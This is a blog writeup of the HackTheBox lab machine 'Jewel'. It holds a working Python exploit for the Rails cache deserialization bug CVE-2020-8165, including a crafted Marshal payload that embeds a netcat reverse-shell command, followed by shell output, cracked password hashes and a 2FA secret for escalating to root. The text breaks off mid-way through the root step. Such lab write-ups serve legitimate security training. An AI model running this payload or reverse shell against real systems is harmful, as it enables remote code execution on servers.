Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

[machine avatar]

HackTheBox Jewel - Writeup

OS: Linux
Release Date: 2020/10/10 19:00
Points: 30
Difficulty: Medium
Last modified: 2022-08-20 22:24:47 + Give Respect

Initial nmap scan:

$ nmap -A -T4 -p- 10.10.10.211
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
| 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open http Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.129.24.124 Git
|_Requested resource was http://10.129.24.124:8000/gitweb/
8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
The machine has two high ports both serving http and a default ssh service. The lower port (8000) is running a gitweb instance with one public repository on it. The other web port (8080) has a blog, which seems to be the live version of the repository we found. To analyze the source code, we visit the project page, click on [tree] and [snapshot], which leads us to http://10.10.10.211:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz. Extracting the archive, we got a lot of files, including a sql dump with hashed passwords (bd.sql). Unfortunately, the hashes don't seem to be crackable using rockyou. Buf we find something other interesting: The Gemfile indicates, that the server is using rails v5.2.2.1. Doing some research, we find out, that this version has a few RCE vulnerabilities, but we will focus on this one:
CVE-2020-8165 allows us to execute system commands, by storing a string in the underlying redis server and loading it again, which leads to automatic deserialization and code execution. Going further, we can see, that the vulnerable code must include the following line:
data = cache.fetch("demo", raw: true) { untrusted_string }

We can find similar code in our ruby app in app/controllers/user_controller.rb on line 37:

"@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}"

All we need to do now is registering an account, updating the username to our malicious code and loading it again buy visiting the front page. Assuming we already registered an account, we can create a Session object using the following code:

URL = "http://10.10.10.211:8080"
email = "Blindhero@htb.htb"
password = "aaaa"
userId = None

def login(email, password, silent=False):
    global userId
    session = requests.Session()
    loginUrl = "%s/login" % URL
    if not silent:
        print("[ ] Retrieving login page")
    res = session.get(loginUrl)
    if res.status_code != 200:
        if not silent:
            print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        return None

    soup = BeautifulSoup(res.text, "html.parser")
    csrfToken = soup.find("meta", {"name": "csrf-token"})["content"].strip()
    if not silent:
        print("[+] Got CSRF token:", csrfToken)

    post_data = {
        "utf8": "✓",
        "authenticity_token": csrfToken,
        "session[email]": email,
        "session[password]": password,
        "commit": "Log in"
    }

    res = session.post(loginUrl, data=post_data, allow_redirects=False)
    if res.status_code != 302 or res.headers["Location"] != URL+"/":
        if not silent:
            print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        return None

    res = session.get(res.headers["Location"])
    if res.status_code != 200:
        if not silent:
            print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        return None

    soup = BeautifulSoup(res.text, "html.parser")
    for link in soup.find_all("a", {"class":"nav-link"}):
        if link["href"].startswith("/users/"):
            userId = int(link["href"][len("/users/"):])
            break

    print("[+] Successfully logged in. User ID:", userId)
    return session
    
    session = login(email, password)

Next we will need to generate our payload. I've taken the output of the tool showed on the CVE github page and transferred it into python code. The only things we need to modify is the command being executed and the byte right in front of the string, which is the length plus some additional bytes:

command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f' % (ipAddress, listenPort)
prefix_byte = chr(len(command)+7)

payload = b'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:ERB\x08:\t@srcI"%b`%s`\x06:\x06ET:\x0e@filenameI"\x061\x06;\tT:\x0c@linenoi\x06:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatorIu:\x1fActiveSupport::Deprecation\x00\x06;\tT' % (prefix_byte.encode(), command.encode())

Now we need to update the username with the following code:

def updateUser(session, id, name, email, password):
    userEditUrl = "%s/users/%d/edit" % (URL, id)
    userUrl     = "%s/users/%d" % (URL, id)

    print("[ ] Retrieving user edit page:", userEditUrl)
    res = session.get(userEditUrl)
    if res.status_code != 200:
        print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        exit(1)

    soup = BeautifulSoup(res.text, "html.parser")
    csrfToken = soup.find("meta", {"name": "csrf-token"})["content"].strip()
    print("[+] Got CSRF token:", csrfToken)

    post_data = {
        "utf8": "✓",
        "_method": "patch",
        "authenticity_token": csrfToken,
        "user[username]": name,
        "user[email]": email,
        "user[password]": password,
        "commit": "Update User"
    }

    res = session.post(userUrl, data=post_data, allow_redirects=False)
    if res.status_code != 302 or res.headers["Location"] != URL + "/articles":
        print("[-] Server returned: %d %s" % (res.status_code, res.reason))
        soup = BeautifulSoup(res.text, "html.parser")
        error = soup.find("div", {"class": "card-body"})
        if error:
            print("[-] Error:", error.text.strip())

        return False

    print("[+] Success")
    return True
    
    updateUser(session, userId, payload, email, password)

And to finally trigger the exploit, we set up a netcat listener, visit the front page and grab the user flag:

session.get(URL)
$ nc -lvvp 4444

Connection from 10.10.10.211:38672
bash: cannot set terminal process group (792): Inappropriate ioctl for device
bash: no job control in this shell
bill@jewel:~/blog$ ls /home
bill
bill@jewel:~/blog$ cat /home/bill/user.txt
b9a8d2d8100df5b4b668960d2ca9d115

The root part is quite simple. First, we upgrade our shell by uploading our ssh public key. Inspecting the home directory, we find an uncommon file: .google_authenticator
bill@jewel:~$ cat .google_authenticator
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH
The file is related to 2FA, and indeed, according to /etc/pam.d/sudo, 2FA is required when using sudo:
bill@jewel:~$ cat /etc/pam.d/sudo
#%PAM-1.0

@include common-auth
@include common-account
@include common-session-noninteractive
auth required pam_google_authenticator.so nullok
Before using sudo, we still need the user password. We can find the hashed password under /var/backups/dump_2020-08-27.sql, as the output of linpeas says.
bill@jewel:~$ grep \\$ /var/backups/dump_2020-08-27.sql
2 jennifer jennifer@mail.htb 2020-08-27 05:44:28.551735 2020-08-27 05:44:28.551735 $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
Cracking both hashes, we find bill's password: spongebob. To use the sudo command now, we need to setup Google Authenticator. I used my mobile phone, installed the app, added a new key and entered the value, we got from .google_authenticator. It now displays a 6-digit code, which changes repeatedly: